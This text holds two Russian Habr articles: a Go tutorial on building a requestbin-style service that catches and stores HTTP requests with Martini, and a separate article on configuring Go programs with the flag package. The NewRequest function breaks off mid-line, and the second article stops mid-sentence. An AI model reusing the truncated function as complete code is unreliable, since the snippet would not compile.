Мы будем перехватывать любые HTTP запросы к нашему приложению, используя метод `Any` у роутера, перехватывающий любые урлы и методы. Интерфейс роутера описан в Martini вот так:
```
type Router interface {
// Get adds a route for a HTTP GET request to the specified matching pattern.
Get(string, ...Handler) Route
// Patch adds a route for a HTTP PATCH request to the specified matching pattern.
Patch(string, ...Handler) Route
// Post adds a route for a HTTP POST request to the specified matching pattern.
Post(string, ...Handler) Route
// Put adds a route for a HTTP PUT request to the specified matching pattern.
Put(string, ...Handler) Route
// Delete adds a route for a HTTP DELETE request to the specified matching pattern.
Delete(string, ...Handler) Route
// Options adds a route for a HTTP OPTIONS request to the specified matching pattern.
Options(string, ...Handler) Route
// Any adds a route for any HTTP method request to the specified matching pattern.
Any(string, ...Handler) Route
// NotFound sets the handlers that are called when a no route matches a request. Throws a basic 404 by default.
NotFound(...Handler)
// Handle is the entry point for routing. This is used as a martini.Handler
Handle(http.ResponseWriter, *http.Request, Context)
}
```
Если очень хочется — можно реализовать свою имплементацию обработчика адресов, но мы воспользуемся той, что идет в Martini по умолчанию.
Первым параметром указывается локейшен. Локейшены в Martini поддерживают параметры через `":param"`, регулярные выражения, а так же [glob](http://en.wikipedia.org/wiki/Glob_(programming)). Второй параметр и последующие, принимают функцию, которая будет заниматься обработкой запроса. Так как Martini поддерживает цепочку обработчиков, сюда можно добавлять различные вспомогательные хендлеры, например проверку прав доступа. Нам пока это ни к чему, поэтому добавим только один обработчик c интерфейсом, обрабатываемым обычным веб обработчиком Go (пример разработки на нём можно посмотреть [в документации](http://golang.org/doc/articles/wiki/)). Вот код нашего обработчика:
```
func main() {
api := martini.Classic()
api.Any("/", func(res http.ResponseWriter, req *http.Request,) {
if dumped, err := httputil.DumpRequest(req, true); err == nil {
res.WriteHeader(200)
res.Write(dumped)
} else {
res.WriteHeader(500)
fmt.Fprintf(res, "Error: %v", err)
}
})
api.Run()
}
```
Используя готовую функцию [DumpRequest](http://golang.org/pkg/net/http/httputil/#DumpRequest) из пакета [httputil](http://golang.org/pkg/net/http/httputil/) мы сохраняем структуру запроса http.Request, и записываем его в ответ http.ResponseWriter. Так же не забываем обрабатывать возможные ошибки. Функция api.Run просто запускает встроенный сервер go из стандартной библиотеки, указывая порт и хост, которые она берёт из параметров окружения PORT(3000 по умолчанию) и HOST.
Запустим наше первое приложение:
```
go run ./src/main.go
```
Попробуем отправить запрос к серверу:
```
> curl -X POST -d "fizz=buzz" http://127.0.0.1:3000
POST / HTTP/1.1
Host: 127.0.0.1:3000
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8y zlib/1.2.5
fizz=buzz
```
Это была всего лишь проба сил, теперь приступим к написанию настоящего приложения.
#### Шаг второй. Создаём модель Bin и отвечаем на запросы.
Не забываем загрузить код:
```
git checkout step-2
```
Размещать код внутри пакета main не очень правильно, так как, например [Google Application Engine](https://developers.google.com/appengine/docs/go/) создаёт свой пакет main, в котором уже подключаются ваши. Поэтому вынесем создание API в отдельный модуль, назовём его, например skimmer/api.go.
Теперь нам нужно создать сущность, в которой мы сможем хранить пойманные запросы, назовём её Bin, по аналогии с requestbin. Моделью у нас будет просто обычная структура данных Go.
> Порядок полей в структуре достаточно важен, но мы не будем задумываться об этом, но те кто хотят узнать как порядок влияет на размер структуры в памяти, могут почитать вот эти статьи — [www.goinggo.net/2013/07/understanding-type-in-go.html](http://www.goinggo.net/2013/07/understanding-type-in-go.html) и [www.geeksforgeeks.org/structure-member-alignment-padding-and-data-packing](http://www.geeksforgeeks.org/structure-member-alignment-padding-and-data-packing/).
Итак, наша модель Bin будет содержать поля с названием, количеством пойманных запросов, и датами создания и изменения. Каждое поле у нас так же описывается тэгом.
> Тэги это обычные строки, которые никак не влияют на программу в целом, но их можно прочитать используя пакет reflection во время работы программы (так называемая интроспекция), и исходя из этого изменять своё поведение (о том как работать тэгами через [reflection](http://golang.org/pkg/reflect/#StructTag)). В нашем примере, пакет json при кодировании/раскодировании учитывает значение тэга, примерно так:
>
>
>
>
> ```
> package main
>
> import (
> "reflect"
> "fmt"
> )
>
> type Bin struct {
> Name string `json:"name"`
> }
>
> func main() {
> bin := Bin{}
> bt := reflect.TypeOf(bin)
> field := bt.Field(0)
> fmt.Printf("Field's '%s' json name is '%s'", field.Name, field.Tag.Get("json"))
> }
>
> ```
>
>
>
>
> Выведет
>
> `Field's 'Name' json name is 'name'`
>
>
>
> Пакет encoding/json поддерживает различные опции при формировании тэгов:
>
>
>
>
> ```
> // Поле игнорируется
> Field int `json:"-"`
>
> // В json структуре поле интерпретируется как myName
> Field int `json:"myName"`
>
> ```
>
>
>
>
> Вторым параметром может быть например, опция omitempty — если значение в json пропущено, то поле не заполняется. Так например, если поле будет ссылкой, мы сможем узнать, присутствует ли оно в json объекте, сравнив его с nil. Более подробно о json сериализации можно почитать в [документации](http://golang.org/pkg/encoding/json/)
Так же мы описываем вспомогательную функцию NewBin, в которой происходит инициализация значений объекта Bin (своего рода конструктор):
```
type Bin struct {
Name string `json:"name"`
Created int64 `json:"created"`
Updated int64 `json:"updated"`
RequestCount int `json:"requestCount"`
}
func NewBin() *Bin {
now := time.Now().Unix()
bin := Bin{
Created: now,
Updated: now,
Name: rs.Generate(6),
}
return &bin
}
```
> Структуры в Go могут иницилизироваться двумя способами:
>
>
>
> 1) Обязательным перечислением всех полей по порядку:
>
>
>
>
> ```
> Bin{rs.Generate(6), now, now, 0}
>
> ```
>
>
> 2) Указанием полей, для которых присваиваются значения:
>
>
>
>
> ```
> Bin{
> Created: now,
> Updated: now,
> Name: rs.Generate(6),
> }
>
> ```
>
>
> Поля, которые не указаны, принимают значения по умолчанию. Например для целых чисел это будет 0, для строк — пустая строка "", для ссылок, каналов, массивов, слайсов и словарей — это будет nil. Подробнее в [документации](http://golang.org/ref/spec#The_zero_value). Главное помнить, что смешивать эти два типа инициализации нельзя.
Теперь более подробно про генерацию строк через объект rs. Он инициализирован следующим образом:
```
var rs = NewRandomString("0123456789abcdefghijklmnopqrstuvwxyz")
```
Сам код находится в файле utils.go. В функцию мы передаём массив символов, из которых нужно генерировать строчку и создаём объект RandomString:
```
type RandomString struct {
pool string
rg *rand.Rand
}
func NewRandomString(pool string) *RandomString {
return &RandomString{
pool,
rand.New(rand.NewSource(time.Now().Unix())),
}
}
func (rs *RandomString) Generate(length int) (r string) {
if length < 1 {
return
}
b := make([]byte, length)
for i, _ := range b {
b[i] = rs.pool[rs.rg.Intn(len(rs.pool))]
}
r = string(b)
return
}
```
Здесь мы используем пакет [math/rand](http://golang.org/pkg/math/rand), предоставляющий нам доступ к генерации случайных чисел. Самое главное, посеять генератор перед началом работы с ним, чтобы у нас не получилась одинаковая последовательность случайных чисел при каждом запуске.
В методе Generate мы создаём массив байтов, и каждый из байтов заполняем случайным символом из строки pool. Получившуюся в итоге строку возвращаем.
Перейдём, собственно, к описанию Api. Для начала нам нужно три метода для работы с объектами типа Bin, вывода списка объектов, создание и получение конкретного объекта.
Ранее я писал, что martini принимает в обработчик функцию с интерфейсом HandlerFunc, на самом деле, принимаемая функция в Martini описывается как interface{} — то есть это может быть абсолютно любая функция. Каким же образом в эту функцию вставляются аргументы? Делается это при помощи известного паттерна — [Dependency injection](http://en.wikipedia.org/wiki/Dependency_injection) (далее DI) при помощи небольшого пакета [inject](https://github.com/codegangsta/inject/) от автора martini. Не буду вдаваться в подробности относительно того, как это сделано, вы можете посмотреть в код самостоятельно, благо он не большой и там всё довольно просто. Но если двумя словами, то при помощи уже упомянутого пакета reflect, получаются типы аргументов функции и после этого подставляются нужные объекты этого типа. Например когда inject видит тип \*http.Request, он подставляет объект req \*http.Request в этот параметр.
Мы можем сами добавлять нужные объекты для рефлексии через методы объекта Map и MapTo глобально, либо через объект контекста запроса martini.Context для каждого запроса отдельно.
Объявим временные переменные history и bins, первый будет содержать историю созданных нами объектов Bin, а второй будет некой куцей версией хранилища объектов Bin.
Теперь рассмотрим созданные методы.
##### Создание объекта Bin
```
api.Post("/api/v1/bins/", func(r render.Render){
bin := NewBin()
bins[bin.Name] = bin
history = append(history, bin.Name)
r.JSON(http.StatusCreated, bin)
})
```
##### Получение списка объектов Bin
```
api.Get("/api/v1/bins/", func(r render.Render){
filteredBins := []*Bin{}
for _, name := range(history) {
if bin, ok := bins[name]; ok {
filteredBins = append(filteredBins, bin)
}
}
r.JSON(http.StatusOK, filteredBins)
})
```
##### Получение конкретного экземпляра
```
api.Get("/api/v1/bins/:bin", func(r render.Render, params martini.Params){
if bin, ok := bins[params["bin"]]; ok{
r.JSON(http.StatusOK, bin)
} else {
r.Error(http.StatusNotFound)
}
})
```
Метод позволяющий получить объект Bin по его имени, в нём мы используем объект martini.Params (по сути просто map[string]string), через который можем доступиться к разобранным параметрам адреса.
> В языке Go мы можем обратиться к элементу словаря двумя способами:
>
> 1. Запросив значение ключа `a := m[key]`, в этом случае вернётся либо значение ключа в словаре, если оно есть, либо дефолтное значение инициализации типа значения. Таким образом, например для чисел, сложно понять, содержит ли ключ 0 или просто значения этого ключа не существует. Поэтому в го предусмотрен второй вариант.
> 2. В этом способе, запросив по ключу и получить его значение первым параметром и индикатор существования этого ключа вторым параметром — `a, ok := m[key]`
>
>
>
>
Поэкспериментируем с нашим приложением. Для начала запустим его:
```
go run ./src/main.go
```
Добавим новый объект Bin:
```
> curl -i -X POST "127.0.0.1:3000/api/v1/bins/"
HTTP/1.1 201 Created
Content-Type: application/json; charset=UTF-8
Date: Mon, 03 Mar 2014 04:10:38 GMT
Content-Length: 76
{"name":"7xpogf","created":1393819838,"updated":1393819838,"requestCount":0}
```
Получим список доступных нам Bin объектов:
```
> curl -i "127.0.0.1:3000/api/v1/bins/"
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Date: Mon, 03 Mar 2014 04:11:18 GMT
Content-Length: 78
[{"name":"7xpogf","created":1393819838,"updated":1393819838,"requestCount":0}]
```
Запросим конкретный объект Bin, взяв значение name из предыдущего запроса:
```
curl -i "127.0.0.1:3000/api/v1/bins/7xpogf"
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Date: Mon, 03 Mar 2014 04:12:13 GMT
Content-Length: 76
{"name":"7xpogf","created":1393819838,"updated":1393819838,"requestCount":0}
```
Отлично, теперь мы научились создавать модели и отвечать на запросы, кажется теперь нас ничего не удержит от того, чтобы доделать всё остальное.
#### Шаг третий. Принимаем запросы и сохраняем их в хранилище.
Теперь нам нужно научиться сохранять запросы, приходящие к нам, в нужный объект Bin.
Загрузим код для третьего шага
```
git checkout step-3
```
##### Модель Request
Для начала создадим модель, которая будет хранить в себе HTTP запрос.
```
type Request struct {
Id string `json:"id"`
Created int64 `json:"created"`
Method string `json:"method"` // GET, POST, PUT, etc.
Proto string `json:"proto"` // "HTTP/1.0"
Header http.Header `json:"header"`
ContentLength int64 `json:"contentLength"`
RemoteAddr string `json:"remoteAddr"`
Host string `json:"host"`
RequestURI string `json:"requestURI"`
Body string `json:"body"`
FormValue map[string][]string `json:"formValue"`
FormFile []string `json:"formFile"`
}
```
Объяснять какое поле для чего нужно, полагаю смысла нет, но есть пара замечаний: для файлов мы будем хранить только их названия, а для данных формы — будем хранить уже готовый словарь значений.
По аналогии с созданием объекта Bin, напишем функцию создающую объект Request из HTTP запроса:
```
func NewRequest(httpRequest *http.Request, maxBodySize int) *Request {
var (
bodyValue string
formValue map[string][]string
formFile []string
)
// Считываем тело приходящего запроса из буфера и подменяем исходный буфер на новый
if body, err := ioutil.ReadAll(httpRequest.Body); err == nil {
if len(body) > 0 && maxBodySize != 0 {
if maxBodySize == -1 || httpRequest.ContentLength < int64(maxBodySize) {
bodyValue = string(body)
} else {
bodyValue = fmt.Sprintf("%s\n<<
```
Функция получилась достаточно большой, но в целом, понятной, поясню только некоторые моменты. В объекте [http.Request](http://golang.org/pkg/net/http/#Request), тело запроса — Body это некий буффер, реализующий интерфейс [io.ReadCloser](http://golang.org/pkg/io/#ReadCloser), по этой причине после разбора формы (вызов метода ParseMultipartForm), мы уже никак не сможем получить сырые данные запроса. Поэтому для начала мы копируем Body в отдельную переменную и после заменим исходный буфер своим. Далее мы вызываем разбор входящих данных и собираем информацию о значениях форм и файлов.
Помимо объектов Bin, теперь нам нужно так же хранить и запросы, поэтому, пришло время добавить в наш проект возможность хранения данных. Опишем его интерфейс в файле storage.go:
```
type Storage interface {
LookupBin(name string) (*Bin, error) // get one bin element by name
LookupBins(names []string) ([]*Bin, error) // get slice of bin elements
LookupRequest(binName, id string) (*Request, error) // get request from bin by id
LookupRequests(binName string, from, to int) ([]*Request, error) // get slice of requests from bin by position
CreateBin(bin *Bin) error // create bin in memory storage
UpdateBin(bin *Bin) error // save
CreateRequest(bin *Bin, req *Request) error
}
```
> Интерфейсы в Go являются контрактом, связывающим ожидаемую функциональность и актуальную реализацию. В нашем случае, мы описали интерфейс storage, который будем использовать в дальнейшем в программе, но в зависимости от настроек, имплементация может быть совершенно разной (например это может быть Redis или Mongo). Подробнее об [интерфейсах](http://golangtutorials.blogspot.com/2011/06/interfaces-in-go.html).
Помимо этого создадим базовый объект storage, в котором будут вспомогательные поля, которые потребуются нам в каждой имплементации:
```
type BaseStorage struct {
maxRequests int
}
```
Теперь пришло время реализовать поведение нашего интерфейса хранилища. Для начала попробуем всё хранить в памяти, разграничивая параллельный доступ к данным [мьютексами](http://ru.wikipedia.org/wiki/Мьютекс).
Создадим файл memory.go В основе нашего хранилища будет простая структура данных:
```
type MemoryStorage struct {
BaseStorage
sync.RWMutex
binRecords map[string]*BinRecord
}
```
Она состоит из вложенных, анонимных полей BaseStorage и sync.RWMutex.
> Анонимные поля дают нам возможность вызывать методы и поля анонимных структур напрямую. Например, если у нас есть переменная obj типа MemoryStorage, мы можем доступиться к полю maxRequests напрямую obj.BaseStorage.maxRequests, либо как будто они члены самого MemoryStorage obj.maxRequests. Подробнее об анонимных полях в структурах данных можно почитать в [документации](http://golangtutorials.blogspot.com/2011/06/anonymous-fields-in-structs-like-object.html).
[RWMutex](http://golang.org/pkg/sync/#RWMutex) нам нужен, чтобы блокировать одновременную работу со словарём binRecords, так как Go не гарантирует правильного поведения при параллельном изменении данных в словарях.
Сами данные будут хранится в поле binRecords, которой является словарём с ключами из поля name Bin объектов и данными вида BinRecord.
```
type BinRecord struct {
bin *Bin
requests []*Request
requestMap map[string]*Request
}
```
В этой структуре собраны все нужные данные. Ссылки на запросы хранятся в двух полях, в списке, где они идут по порядку добавления и в словаре, для более быстрого поиска по идентификатору.
> Словари в Go в текущей реализации — это хеш таблицы, поэтому поиск элемента в словаре имеет константное значение. Подробнее о внутреннем устройстве можно ознакомиться в этой [прекрасной статье](http://www.goinggo.net/2013/12/macro-view-of-map-internals-in-go.html).
Так же для объекта BinRecord реализован метод для обрезания лишних запросов, который просто удаляет ненужные элементы из requests и requestMap.
```
func (binRecord *BinRecord) ShrinkRequests(size int) {
if size > 0 && len(binRecord.requests) > size {
requests := binRecord.requests
lenDiff := len(requests) - size
removed := requests[:lenDiff]
for _, removedReq := range removed {
delete(binRecord.requestMap, removedReq.Id)
}
requests = requests[lenDiff:]
binRecord.requests = requests
}
}
```
Все методы MemoryStorage имплементируют поведение интерфейса Storage, так же у нас есть вспомогательный метод getBinRecord, в котором мы можем прочитать нужную нам запись. В момент когда мы читаем запись, мы ставим блокировку на чтение и сразу же указываем отложенный вызов снятия блокировки в defer. Выражение defer позволяет нам указывать функцию, которая будет всегда выполнена по завершении работы функции, даже если функцию была прервана паникой. Подробнее почитать о defer можно в [документации](http://blog.golang.org/defer-panic-and-recover)
Подробнее рассматривать каждый метод MemoryStorage смысла нет, там всё и так не сложно, вы можете заглянуть в код самостоятельно.
**Код MemoryStorage**
```
package skimmer
import (
"errors"
"sync"
)
type MemoryStorage struct {
BaseStorage
sync.RWMutex
binRecords map[string]*BinRecord
}
type BinRecord struct {
bin *Bin
requests []*Request
requestMap map[string]*Request
}
func (binRecord *BinRecord) ShrinkRequests(size int) {
if size > 0 && len(binRecord.requests) > size {
requests := binRecord.requests
lenDiff := len(requests) - size
removed := requests[:lenDiff]
for _, removedReq := range removed {
delete(binRecord.requestMap, removedReq.Id)
}
requests = requests[lenDiff:]
binRecord.requests = requests
}
}
func NewMemoryStorage(maxRequests int) *MemoryStorage {
return &MemoryStorage{
BaseStorage{
maxRequests: maxRequests,
},
sync.RWMutex{},
map[string]*BinRecord{},
}
}
func (storage *MemoryStorage) getBinRecord(name string) (*BinRecord, error) {
storage.RLock()
defer storage.RUnlock()
if binRecord, ok := storage.binRecords[name]; ok {
return binRecord, nil
}
return nil, errors.New("Bin not found")
}
func (storage *MemoryStorage) LookupBin(name string) (*Bin, error) {
if binRecord, err := storage.getBinRecord(name); err == nil {
return binRecord.bin, nil
} else {
return nil, err
}
}
func (storage *MemoryStorage) LookupBins(names []string) ([]*Bin, error) {
bins := []*Bin{}
for _, name := range names {
if binRecord, err := storage.getBinRecord(name); err == nil {
bins = append(bins, binRecord.bin)
}
}
return bins, nil
}
func (storage *MemoryStorage) CreateBin(bin *Bin) error {
storage.Lock()
defer storage.Unlock()
binRec := BinRecord{bin, []*Request{}, map[string]*Request{}}
storage.binRecords[bin.Name] = &binRec
return nil
}
func (storage *MemoryStorage) UpdateBin(_ *Bin) error {
return nil
}
func (storage *MemoryStorage) LookupRequest(binName, id string) (*Request, error) {
if binRecord, err := storage.getBinRecord(binName); err == nil {
if request, ok := binRecord.requestMap[id]; ok {
return request, nil
} else {
return nil, errors.New("Request not found")
}
} else {
return nil, err
}
}
func (storage *MemoryStorage) LookupRequests(binName string, from int, to int) ([]*Request, error) {
if binRecord, err := storage.getBinRecord(binName); err == nil {
requestLen := len(binRecord.requests)
if to >= requestLen {
to = requestLen
}
if to < 0 {
to = 0
}
if from < 0 {
from = 0
}
if from > to {
from = to
}
reversedLen := to - from
reversed := make([]*Request, reversedLen)
for i, request := range binRecord.requests[from:to] {
reversed[reversedLen-i-1] = request
}
return reversed, nil
} else {
return nil, err
}
}
func (storage *MemoryStorage) CreateRequest(bin *Bin, req *Request) error {
if binRecord, err := storage.getBinRecord(bin.Name); err == nil {
storage.Lock()
defer storage.Unlock()
binRecord.requests = append(binRecord.requests, req)
binRecord.requestMap[req.Id] = req
binRecord.ShrinkRequests(storage.maxRequests)
binRecord.bin.RequestCount = len(binRecord.requests)
return nil
} else {
return err
}
}
```
Теперь, когда у нас есть хранилище, можно приступать к описанию api. Посмотрим что у нас изменяется.
Во первых мы добавляем поддержку нашего нового хранилища.
```
memoryStorage := NewMemoryStorage(MAX_REQUEST_COUNT)
api.MapTo(memoryStorage, (*Storage)(nil))
```
Теперь в любом хендлере мы можем добавить параметр типа Storage и получить доступ к нашему хранилищу. Что мы и делаем, заменив во всех обработчиках запросов к Bin работу со словарём на вызовы к Storage.
```
api.Post("/api/v1/bins/", func(r render.Render, storage Storage){
bin := NewBin()
if err := storage.CreateBin(bin); err == nil {
history = append(history, bin.Name)
r.JSON(http.StatusCreated, bin)
} else {
r.JSON(http.StatusInternalServerError, ErrorMsg{err.Error()})
}
})
api.Get("/api/v1/bins/", func(r render.Render, storage Storage){
if bins, err := storage.LookupBins(history); err == nil {
r.JSON(http.StatusOK, bins)
} else {
r.JSON(http.StatusInternalServerError, ErrorMsg{err.Error()})
}
})
api.Get("/api/v1/bins/:bin", func(r render.Render, params martini.Params, storage Storage){
if bin, err := storage.LookupBin(params["bin"]); err == nil{
r.JSON(http.StatusOK, bin)
} else {
r.JSON(http.StatusNotFound, ErrorMsg{err.Error()})
}
})
```
Во вторых, добавили обработчики для объектов типа Request.
```
// список всех реквестов
api.Get("/api/v1/bins/:bin/requests/", func(r render.Render, storage Storage, params martini.Params,
req *http.Request){
if bin, error := storage.LookupBin(params["bin"]); error == nil {
from := 0
to := 20
if fromVal, err := strconv.Atoi(req.FormValue("from")); err == nil {
from = fromVal
}
if toVal, err := strconv.Atoi(req.FormValue("to")); err == nil {
to = toVal
}
if requests, err := storage.LookupRequests(bin.Name, from, to); err == nil {
r.JSON(http.StatusOK, requests)
} else {
r.JSON(http.StatusInternalServerError, ErrorMsg{err.Error()})
}
} else {
r.Error(http.StatusNotFound)
}
})
// доступ к конкретному экземпляру Request
api.Get("/api/v1/bins/:bin/requests/:request", func(r render.Render, storage Storage, params martini.Params){
if request, err := storage.LookupRequest(params["bin"], params["request"]); err == nil {
r.JSON(http.StatusOK, request)
} else {
r.JSON(http.StatusNotFound, ErrorMsg{err.Error()})
}
})
// сохранение http запроса в объект Request контейнера Bin(name)
api.Any("/bins/:name", func(r render.Render, storage Storage, params martini.Params,
req *http.Request){
if bin, error := storage.LookupBin(params["name"]); error == nil {
request := NewRequest(req, REQUEST_BODY_SIZE)
if err := storage.CreateRequest(bin, request); err == nil {
r.JSON(http.StatusOK, request)
} else {
r.JSON(http.StatusInternalServerError, ErrorMsg{err.Error()})
}
} else {
r.Error(http.StatusNotFound)
}
})
```
Попробуем запустить то, что у нас получилось и отправить несколько запросов.
Создадим контейнер Bin для наших HTTP запросов
```
> curl -i -X POST "127.0.0.1:3000/api/v1/bins/"
HTTP/1.1 201 Created
Content-Type: application/json; charset=UTF-8
Date: Mon, 03 Mar 2014 12:19:28 GMT
Content-Length: 76
{"name":"ws87ui","created":1393849168,"updated":1393849168,"requestCount":0}
```
Отправим запрос в наш контейнер
```
> curl -X POST -d "fizz=buzz" http://127.0.0.1:3000/bins/ws87ui
{"id":"i0aigrrc1b40","created":1393849284,...}
```
Проверим, сохранился ли наш запрос:
```
> curl http://127.0.0.1:3000/api/v1/bins/ws87ui/requests/
[{"id":"i0aigrrc1b40","created":1393849284,...}]
```
Кажется, всё работает как надо, но чтобы быть в этом точно уверенными нужно покрыть код тестами.
Продолжение статьи во [второй части](http://habrahabr.ru/post/214425/), где мы узнаем как писать тесты, реализуем одностраничный веб-интерфейс на основе AngularJS и Bootstrap, добавим немного приватности и внедрим поддержку Redis для хранения. | https://habr.com/ru/post/208680/ | null | ru | null |
# Конфигурация программ на Go
Всем привет! После пяти лет программирования на Go я обнаружил себя достаточно
ярым приверженцем определенного подхода к конфигурации программ. В этой
статье я попытаюсь раскрыть его основные идеи, а также поделюсь небольшой
библиотекой, которая является реализацией этих идей.
Очевидно, что статья весьма субъективна и не претендует на звание объективной
истины. Однако, надеюсь, она может быть полезна сообществу и поможет сократить
время, затраченное на такую тривиальную задачу.
О чем речь?
-----------
Совсем в общем, конфигурация, на мой взгляд, это определение переменных нашей
программы, значения которых мы можем получить извне уже во время выполнения.
Это могут быть аргументы или параметры командной строки, переменные окружения,
конфигурационные файлы, хранящиеся на диске или где-либо в сети, таблицы базы
данных и так далее.
Поскольку Go это язык со строгой статической типизацией, нам бы хотелось
определять и получать значения для таких переменных с учетом их типа.
Существует большое количество open-source библиотек или даже фреймворков,
решающих подобные задачи. Большинство из них представляют собственное видение
того, как это делать.
Я хотел бы поговорить о менее распространенном подходе к конфигурации программ.
Тем более, что этот подход мне кажется наиболее простым.
Пакет `flag`
------------
Да, это не шутка и я действительно хочу обратить ваше внимание на всем
известный пакет стандартной библиотеки Go.
На первый взгляд, `flag` это инструмент для работы с параметрами командной
строки и не более. Но этот пакет также может быть использован как **интерфейс
определения** параметров нашей программы. И в контексте обсуждаемого подхода
`flag` прежде всего используется именно так.
Как было сказано выше, нам бы хотелось иметь типизированные параметры.
Пакет `flag` предоставляет возможность делать это для большинства базовых типов
– `flag.String()`, `flag.Int()` и даже `flag.Duration()`.
Для более сложных типов, вида `[]string` или `time.Time` существует интерфейс
`flag.Value`, который позволяет описать получение значения параметра из его
*строкового представления*.
Например, параметр типа `time.Time` можно реализовать так:
```
// TimeValue is an implementation of flag.Value interface.
type TimeValue struct {
P *time.Time
Layout string
}
func (t *TimeValue) Set(s string) error {
v, err := time.Parse(t.Layout, s)
if err == nil {
(*t.P) = v
}
return err
}
func (t *TimeValue) String() string {
return t.P.Format(t.Layout)
}
```
Важное свойство пакета – его наличие в **стандартной библиотеке** – `flag` это
*стандартный способ конфигурации программ*, а значит вероятность его
использования между различными проектами и библиотеками выше, чем у других
библиотек в сообществе.
Почему не используют `flag`?
----------------------------
Как мне кажется, другие библиотеки используются и существуют по двум причинам:
* Параметры читаются не только из командной строки
* Параметры хочется структурировать
Если про чтение параметров, например, из файлов все более-менее понятно (об
этом чуть позже), то о структурных параметрах стоит сказать пару слов прямо
сейчас.
Существует, на мой взгляд, не самый лучший способ определения конфигурации
программы как структуры, полями которой могли бы быть другие структуры и так
далее:
```
type AppConfig struct {
Port int
Database struct {
Endpoint string
Timeout time.Duration
}
...
}
```
И мне кажется, именно поэтому используется и существуют библиотеки и
фреймворки, которые позволяют работать с конфигурацией именно так.
Я думаю, `flag` не должен предоставлять возможности структурной конфигурации.
Этого легко можно достичь с помощью нескольких строк кода (или библиотеки
`flagutil`, речь о которой чуть ниже).
Более того, если задуматься, существование такой структуры приводит к сильной
связанности между используемыми компонентами.
Структурная конфигурация
------------------------
Идея заключается в том, чтобы определять параметры независимо от структуры
программы и максимально близко к тому месту, где они используются – то есть
непосредственно на уровне пакета.
Предположим, у нас есть реализация клиента к какому-то сервису (базе данных,
API или чему-либо еще), который называется `yoogle`:
```
package yoogle
type Config struct {
Endpoint string
Timeout time.Duration
}
func New(c *Config) *Client {
// ...
}
```
Чтобы заполнить структуру `yoogle.Config`, нам понадобится функция, которая
регистрирует поля структуры в полученном `*flag.FlagSet`.
Такая функция может быть объявлена на уровне пакета `yoogle` или в пакете
`yooglecfg` (в случае сторонней библиотеки, мы можем написать такую функцию
где-либо еще):
```
package yooglecfg
import (
"flag"
"app/yoogle"
)
func Export(flag *flag.FlagSet) *yoogle.Config {
var c yoogle.Config
flag.StringVar(&c.Endpoint,
"endpoint", "https://example.com",
"endpoint for our API",
)
flag.DurationVar(&c.Timeout,
"timeout", time.Second,
"timeout for operations",
)
return &c
}
```
Чтобы исключить зависимость от пакета `flag` можно определить интерфейс с
нужными методами `flag.FlagSet`:
```
package yooglecfg
import "app/yoogle"
type FlagSet interface {
StringVar(p *string, name, value, desc string)
}
func Export(flag FlagSet) *yoogle.Config {
var c yoogle.Config
flag.StringVar(&c.Endpoint,
"endpoint", "https://example.com",
"endpoint for our API",
)
return &c
}
```
А если конфигурация зависит от значений параметров (например, среди параметров
указывается алгоритм чего-либо), функция `yooglecfg.Export()` может возвращать
функцию-конструктор, которую нужно вызвать **после** парсинга всех значений
конфигурации:
```
package yooglecfg
import "app/yoogle"
type FlagSet interface {
StringVar(p *string, name, value, desc string)
}
func Export(flag FlagSet) func() *yoogle.Config {
var algorithm string
flag.StringVar(&algorithm,
"algorithm", "quick",
"algorithm used to do something",
)
var c yoogle.Config
return func() *yoogle.Config {
switch algorithm {
case "quick":
c.Impl = quick.New()
case "merge":
c.Impl = merge.New()
case "bubble":
panic(...)
}
return c
}
}
```
> Функции экспорта позволяют определять параметры пакета без знания структуры
>
> конфигурации программы и способа получения их значений.
[github.com/gobwas/flagutil](https://github.com/gobwas/flagutil)
----------------------------------------------------------------
Мы разобрались с большой структурой конфигурации и сделали наши параметры
независимым, но пока не совсем понятно, как собирать их всех вместе и получать
значения.
Именно для решения этой задачи и был написан пакет `flagutil`.
### Собираем параметры вместе
Все параметры программы, ее пакетов и сторонних библиотек получают свой префикс
и собираются на уровне пакета `main`:
```
package main
import (
"flag"
"app/yoogle"
"app/yooglecfg"
"github.com/gobwas/flagutil"
)
func main() {
flags := flag.NewFlagSet("my-app", flag.ExitOnError)
var port int
flag.IntVar(&port,
"port", 4050,
"port to bind to",
)
var config *yoogle.Config
flagutil.Subset(flags, "yoogle", func(sub *flag.FlagSet) {
config = yooglecfg.Export(sub)
})
}
```
Функция `flagutil.Subset()` делает простую вещь: она добавляет префикс
(`"yoogle"`) ко всем параметрам, зарегистрированным в `sub` внутри колбека.
Запуск программы теперь может выглядеть так:
```
app -port 4050 -yoogle.endpoint https://example.com -yoogle.timeout 10s
```
### Получаем значения параметров
Все параметры внутри `flag.FlagSet` содержат в себе реализацию `flag.Value`,
которая имеет метод `Set(string) error` – то есть предоставляет возможность
установки *строкового представления значения*.
Остается прочитать из какого-либо источника значения в виде пар ключ-значение и
сделать вызов `flag.Set(key, value)`.
> Это дает нам возможность даже не использовать синтаксис параметров командной
>
> строки, описанный в пакете `flag`. Можно разбирать аргументы, любым способом,
>
> например, как [posix program arguments](https://www.gnu.org/software/libc/manual/html_node/Argument-Syntax.html).
```
package main
func main() {
flags := flag.NewFlagSet("my-app", flag.ExitOnError)
// ...
flags.String(
"config", "/etc/app/config.json",
"path to configuration file",
)
flagutil.Parse(flags,
// First, use posix arguments syntax instead of `flag`.
// Just to illustrate that it is possible.
flagutil.WithParser(&pargs.Parser{
Args: os.Args[1:],
}),
// Then lookup for "config" flag value and try to
// parse its value as a json configuration file.
flagutil.WithParser(&file.Parser{
PathFlag: "config",
Syntax: &json.Syntax{},
}),
)
}
```
Соответственно файл `config.json` может выглядеть так:
```
{
"port": 4050,
"yoogle": {
"endpoint": "https://example.com",
"timeout": "10s"
...
}
}
```
Заключение
----------
Безусловно, я далеко не первый, кто говорит о подобном подходе. Многие из
описанных выше идей так или иначе уже использовались несколько лет назад, когда
я работал в MailRu.
Итак, чтобы упростить конфигурацию нашего приложения и не тратить время на
изучение (или даже написание) очередного фреймворка конфигурации предлагается
следующее:
* Использовать `flag` в качестве **интерфейса определения** параметров
программы
* Экспортировать параметры каждого пакета отдельно, без знания о структуре и
способе последующего получения значений
* Oпределять способ чтения значений, префиксы и структуру конфигурации в `main`
На создание библиотеки `flagutil` меня вдохновило знакомство с библиотекой
